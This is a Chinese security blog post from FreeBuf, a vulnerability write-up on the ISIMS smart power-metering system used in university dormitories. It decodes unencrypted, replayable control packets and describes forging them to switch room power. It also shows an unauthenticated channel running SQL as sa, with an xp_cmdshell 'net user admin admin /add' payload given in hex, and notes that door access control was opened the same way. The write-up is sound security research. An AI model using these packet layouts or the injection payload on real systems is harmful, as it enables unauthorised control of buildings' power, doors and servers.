騷操作 | 操控大樓燈光打遊戲
*本文原創作者:volcanohatred,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載
黑入電控系統然後操縱大樓燈光打遊戲是很多黑客電影所有的橋段,有人覺得現實中不可能實現。我想說這種東西實現起來很容易,要想操縱電力,無非是操縱智能電控系統然後控制電力而已(當然不排除其他方法)。很多人可能會問,現實生活中不是都是機械開關么?哪來的智能電控系統,其實不然,智能電控早已普遍存在,只是很多人不知道而已。
1.
智能電控系統
智能電控系統即對強電加入智能弱電控制模塊,從而達到對電力的控制和操作。近年來,很多大型企業、學校單位為了方便對電力的管理和收費,都引進了對樓宇的智能電控系統。而且隨著網路化和智能化的發展和普及,對智能電控系統的布控在國內也成增長趨勢。國內做智能電控系統的廠家很多,比如新開普的電控水電錶管理系統,常工電子的ISIMS智能計量管理系統等。但是,智能電子產品的應用越普及,意味著對安全的需求也越高,作為一個安全從業者,有必要對其產品的安全進行嚴格把控。
2.
對ISIMS智能計量管理軟體的分析
在一次滲透測試中(正規測試,嘿嘿),拿到了某大學的電力控制伺服器許可權(智能電控系統其實在公寓和大學裡面應用的很普遍),所以本文就以這台伺服器上的ISIMS智能計量管理軟體為研究對象,進行分析。ISIMS智能計量管理軟體是常州股份公司開發的產品,因為它的方便性和智能性,使得國內很多大學都在用它來進行學生宿舍的計費和控制。ISIMS智能計量管理軟體屬於註冊商用軟體,所以網上是沒有下載的。閑的無聊去公司官網看了看,發現應用案例還挺多。話不多說,開始分析吧!!!
註:此研究軟體的版本
客戶端 Sims v3.23.15
服務端 Simserv v3.24.01
2.1
工作模式
ISIMS的工作模式如下圖:
client(tcp client)—>server(tcp server)—>中位機(tcp client)
2.2
傳輸數據分析
用WPE對客戶端的數據進行抓包分析。
A用戶登陸數據包:
電力控制數據包:
A用戶註銷數據包:
開關成功返回數據:
經過對數據包進行大致分析,發現傳送的數據均沒有進行加密處理,而且發現客戶端發送的數據並無時效性,這樣偽造數據包顯得輕而易舉。另外,對電力的控制數據包大小固定,為543位元組,如果控制命令成功執行,則返回一個29位元組的數據包,否則返回一個21位元組大小的數據包。但是要想偽造數據包對某個特定房間進行開關電,則需要對電力控制的那個大小為543位元組的數據包進行解析才能隨意構造。A用戶對某個房間開數據,發往伺服器:
00 00 00 07 00 00 00 AA 00 00 00 94 00 00 00 00 00 00 02 0B 01 2E 00 00 00 02 08 00 00 00 33 04 10 37 33 02 F3 00 00 00 00 00 00 69 0E 38 02 CD AB BA DC 00 00 00 00 00 00 00 00 69 0E 38 02 AC F9 18 00 C8 F9 18 00 30 02 17 76 B8 6B 44 06 14 FA 18 00 91 6D 10 76 51 6D 10 76 75 DE 87 6E 00 00 00 00 4A 03 03 00 B8 6B 44 06 24 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 70 00 00 00 FF FF FF FF FF FF FF FF E9 6C 10 76 91 6D 10 76 0C FA 18 00 01 00 00 00 00 00 00 00 7C 5E 43 06 B8 F9 18 00 60 FA 18 00 60 FA 18 00 1E A6 16 76 39 49 8F 18 FE FF FF FF 51 6D 10 76 E8 6D 10 76 00 00 00 00 69 0E 38 02 4A 03 03 00 99 01 00 00 03 00 00 00 00 00 00 00 48 22 F2 00 F3 6D 10 76 11 DE 87 6E 99 01 00 00 00 00 00 00 B8 6B 44 06 04 00 00 00 B8 C7 4B 00 7C 5E 43 06 3C FA 18 00 B8 6B 44 06 BC FA 18 00 1E A6 16 76 99 49 8F 18 FE FF FF FF F3 6D 10 76 44 6E 10 76 20 22 F2 00 DA F8 2C 77 57 6E 10 76 94 FA 18 00 18 00 00 00 00 00 00 00 20 22 F2 00 7C 5E 43 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 FB 18 00 1A 01 2C 77 C4 FA 18 00 00 00 00 00 9C FB 18 00 80 00 2C 77 20 22 F2 00 00 00 00 00 99 01 00 00 03 00 00 00 00 00 00 00 69 0E 38 02 D2 25 2E 77 04 00 00 00 B9 72 10 76 61 21 11 76 4A 03 03 00 99 01 00 00 03 00 00 00 00 00 00 00 00 00 00 00 B1 02 00 00 01 00 00 00 00 00 00 00 99 01 00 00 B8 6B 44 06 00 00 00 00 AC FD 18 00 4A 03 03 00 00 00 00 00 48 FB 18 00 7A 61 11 76 20 22 F2 00 00 00 00 00 69 0E 38 02 03 00 00 00 00 00 00 00 01 00 00 00 03 00 00 00 BC FB 18 00 8F 85 47 00 4A 03 03 00 99 01 00 00 03 00 00 00 F7 3C 40 00 03 00 00 00 7C 5E 43 06 B8 62 51 00 B8 6B 44 06 03 00 00 00 03 00 00 00 B8 6B 44 00
看著挺沒頭緒,去伺服器看看。
伺服器發往中位機的數據:(對服務端進行抓包)
7D 33 04 10 37 33 02 F3 00 AB EA 7F
2.3
逆向分析
ISIMS客戶端由3個 動態鏈接庫文件、1個配置文件和1個可執行文件組成。分別是CtoS.dll,midas.dll,Mwic_32.dll,SimsClient.ini,SIMS.exe。SimsClient.ini裡面是一些伺服器ip,埠的信息,所以目的是對3個 動態鏈接庫文件和可執行文件進行逆向分析。SIMS.exe無殼,由Delphi編寫。
Send函數位於CtoS.dll中,下條件斷點使之發送的數據大小為21F(543)時斷下:
在返回點下斷找調用函數,以此往上找原數據組成:
通過對數據的拆分,發現543位元組大小的數據由3部分組成,前23位元組的數據加16位元組數據再加後面的數據。
2.4
分析總結
發往伺服器的543位元組的數據中,前39位元組為關鍵數據,後面的數據為無用數據,在前39個位元組中後面的9位最為關鍵:
00 00 00 07 00 00 00 AA 00 00 00 94 00 00 00 00 00 00 02 0B 01 2E 00 00 00 02 08 00 00 00 33 04 10 37 33 02 F3 00 00
33為分隔字元,04位代表樓層編號,10代表中位機號,37為埠號,02 F3 為開電功能位。即:管理器地址+中位機地址+48加埠號》》》》轉化成16進位。彙編代碼如下:
客戶端啟動之後會向伺服器發送資料庫查詢指令,伺服器會返回各棟樓各個中位機和房間埠的數據,放在某段內存之中,以便發送和接收數據調用。所以,得出結論,要想操縱大樓燈光打遊戲就是對控制數據包的前39個位元組中的後9位進行構造,然後編寫演算法以達到目的。
3.
偽造數據包對寢室電力進行控制
3.1
偽造數據開關目標房間
初步的設計思路為編寫tcp客戶端向電控伺服器發送登陸請求,然後偽造數據發包,最後註銷用戶,C代碼如下:
上面代碼中禁用nagel演算法很關鍵,不禁用數據會先放到緩衝區,然後等到一定大小才會發送,這樣發送到伺服器的數據包會是一個粘在一起的包含登陸控制註銷代碼的數據包,伺服器不會識別。
測試:發現目標房間開關電成功。
(視頻沒法傳,本來想傳gif,結果不行,所以截了幾張圖。)
3.2
操縱大樓燈光打遊戲的可行性
既然我們已經分析了關鍵數據實現了對某個房間的開關,那就可以實現對整棟樓房間的開關。但是要想用燈光打遊戲,需要考慮的是延遲性和伺服器的處理能力,後來我做了相關測試,發現延遲性太高和伺服器處理能力不足的問題都有出現:同時發送三個房間的開數據會出現一個房間未能開電。
這裡提供一個思路:可以改變代碼的執行路徑,改變ISIMS的工作模式:
直接寫一個伺服器程序向中位機發包(需要在中位機web服務上添加本機ip,設置埠然後向中位機發送構造的數據包),問題得到解決。原理和上面相同。現在要考慮的就只有遊戲代碼和與房間數據包交互的問題了。(本文在此不考慮)
4.
漏洞挖掘
測試發現客戶端在未發送登陸數據的情況下,發送控制代碼依然可以控制目標房間的電力,也就是說只要建立3次握手連接就可以發送控制代碼。而在未發送登陸數據的情況下發送註銷代碼在伺服器日誌上會被記錄為sa用戶已退出,初步推斷此系統存在邏輯錯誤:發送的數據在未驗證身份的情況下默認以sa許可權執行。
在之前的OD中看到有資料庫執行命令,在客戶端中,當用戶點擊查詢指令時,客戶端會向伺服器發送這段資料庫查詢語句:
在之前的滲透測試中,發現伺服器使用的是SQLserver資料庫,既然伺服器對發送的數據驗證不嚴格,可以試著構造惡意資料庫命令添加系統用戶試試。再次對發送的數據測試分析發現,在執行資料庫命令時,數據包前18位不發生改變:
0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x55,0x00,0x00,0x00,0x74,0x00,0x00,0x00,0x00,0x00,0x00
第18、19位用來表示後面要執行的sql語句的欄位大小,現在構造一條添加系統用戶的語句:
exec master..xp_cmdshell "net user admin admin /add"
轉化位16進位:
0x65,0x78,0x65,0x63,0x20,0x6d,0x61,0x73,0x74,0x65,0x72,0x2e,0x2e,0x78,0x70,0x5f,0x63,0x6d,0x64,0x73,0x68,0x65,0x6c,0x6c,0x20,0x27,0x6e,0x65,0x74,0x20,0x75,0x73,0x65,0x72,0x20,0x61,0x64,0x6d,0x69,0x6e,0x20,0x61,0x64,0x6d,0x69,0x6e,0x20,0x2f,0x61,0x64,0x64,0x27,0x00(總共53位)
再加上前面的20位前綴:
0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x55,0x00,0x00,0x00,0x74,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0X35
將構造的數據通過tcp客戶端發送給伺服器:
伺服器成功添加新用戶!
5.
擴展測試
上面做了對電力系統的測試,後來我對門禁系統也同樣進行了測試,也發現了同樣的問題,對數據包的驗證同樣無時效性,下圖為向某個下屬刷卡門進行測試:返回1,代表開門成功,門禁系統這裡不做討論。
可以看出在內網之中各種基礎設施和系統的脆弱性!!!原因是企業單位往往只是滿足於系統的功能性,只要能用就ok,而全然不顧系統的安全性,往往部署完系統,只要能夠正常運行,就不再對系統進行升級或者安全檢查,這給整個內網早成了很大的安全隱患。
6.後續
這篇文章寫的很早,一直沒發過,最近發出來給大家看看,當然本文涉及的技術很膚淺,大佬勿噴,第一次發文章,錯誤難免,大家見諒!!
*本文原創作者:volcanohatred,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載
※看我如何發現Facebook的$5000美金漏洞
※革故·鼎新丨WitAwards 2018年度技術變革評選「報名進行中」
TAG:FreeBuf |